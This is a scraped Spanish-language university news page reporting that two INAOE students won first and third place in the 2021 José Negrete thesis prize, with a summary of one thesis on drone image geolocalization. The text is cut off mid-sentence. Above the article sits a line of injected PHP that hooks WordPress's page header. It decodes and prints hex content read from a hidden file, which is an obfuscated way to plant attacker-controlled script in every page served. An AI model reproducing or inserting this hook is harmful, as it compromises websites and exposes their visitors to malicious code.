if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } INAOE obtienen primer y tercer lugares en Premio Nacional de Tesis en Inteligencia Artificial – La Opinión Universitaria La Opinión Universitaria
Menu

INAOE obtienen primer y tercer lugares en Premio Nacional de Tesis en Inteligencia Artificial

 

Aldrich Alfredo Cabrera Ponce y Horacio Jesús Jarquín-Vásquez, estudiantes de posgrado del Instituto Nacional de Astrofísica, Óptica y Electrónica (INAOE), obtuvieron el primer y tercer lugar respectivamente en la categoría de tesis de maestría en el concurso nacional José Negrete Martínez otorgado durante la vigésima edición de la conferencia científica Mexican International Conference on Artificial Intelligence (MICAI) 2021.

El Premio José Negrete se otorga anualmente a las mejores tesis de maestría y doctorado desarrolladas en algún campo de la Inteligencia Artificial, buscando con esto reconocer el trabajo de los estudiantes que las desarrollan así como a sus supervisores de tesis. El premio es organizado por la Sociedad Mexicana de Inteligencia Artificial (SMIA) y honra la memoria de José Negrete, investigador pionero en México en la Inteligencia Artificial (IA).

El trabajo del M.C. Cabrera Ponce lleva por título “Geo-localisation of aerial images captured with drones” (en español “Geo-localización de imágenes aéreas capturadas con drones”), realizada bajo la dirección del Dr. José Martínez Carranza, investigador del INAOE, líder del grupo de sistemas aéreos no tripulados inteligentes y miembro del laboratorio de robótica de este centro de investigación.

La investigación de esta tesis está dirigida al marco de la geolocalización en vehículos aéreos, teniendo en esté campo, uno de los problemas más destacados en la robótica e inteligencia artificial, la pérdida de la ubicación en un escenario determinado. Debido a esto, se han adoptado nuevas medidas para que un dron pueda localizarse utilizando diversos sensores cuando la señal del GPS falle.

Motivados por lo anterior, el trabajo de esta tesis consistió en desarrollar un sistema de geolocalización utilizando una red neuronal artificial convolucional con una estrategía de aprendizaje continuo, con el objetivo de que esta red, pueda ser entrenada con una pequeña cantidad de imágenes aéreas capturadas con la cámara a bordo del drone, generando así un modelo de aprendizaje que otorgara las coordenadas GPS y así determinar la posición geográfica del vehículo en un escenario en exteriores. Por tanto, esta tesis contribuye al desarrollo de un sistema de localización alternativo que puede ser utilizado en caso de que, por alguna razón, se pierda la señal GPS-

Tweets recientes